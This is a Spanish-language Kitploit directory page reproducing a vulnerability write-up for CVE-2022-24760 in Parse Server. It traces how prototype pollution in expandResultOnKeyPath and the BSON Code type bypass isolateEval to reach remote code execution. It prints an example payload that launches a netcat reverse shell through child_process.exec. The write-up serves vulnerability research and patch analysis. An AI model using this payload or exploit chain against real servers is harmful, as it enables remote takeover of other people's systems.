Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-24760 | Kitploit
Herramientas/GitHubGitHub/tuo4n8/cve-2022-24760
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones Web
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

Ver Repositorio
1hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-24760


flujo

image-20220331114046018

image-20220331114258164

  • Por defecto no se necesita clave para añadir, eliminar o modificar las clases en la base de datos.

image-20220331115258271


Diff commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • La contaminación de prototipos ocurre en la función expandResultOnKeyPath
root@kitploit:~
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • sanitizeDatabaseResult se utiliza al añadir y actualizar clases nuevas. Sin embargo, para que se produzca la contaminación de prototipos, debe cumplirse la condición de que keyUpdate __op pertenezca a ['Add', 'AddUnique', 'Remove', 'Increment']

  • Por lo tanto, los valores de prototipo solo pueden ser array o number

    • image-20220331132813075
    • image-20220331132823843
  • Ejemplo de petición:

image-20220331133133587

Explotación del sink para RCE

  • Antes de guardar los datos en la base de datos, el flujo de datos se serialize mediante la librería BSON; cuando _bsontype es Code, se procede a serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Después, los datos se deserializan para manipularlos y llegar al sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Se usa la contaminación de prototipos para contaminar options['evalFunctions'] -> bypass a la función isolateEval
  • Payload de ejemplo
root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Debido a que el flujo de ejecución de la función expandResultOnKeyPath ocurre después de la deserialización, es necesario ejecutar una condición de carrera de forma continua para poder activarlo al llegar a isolateEval

image-20220331145825647

Descargar herramienta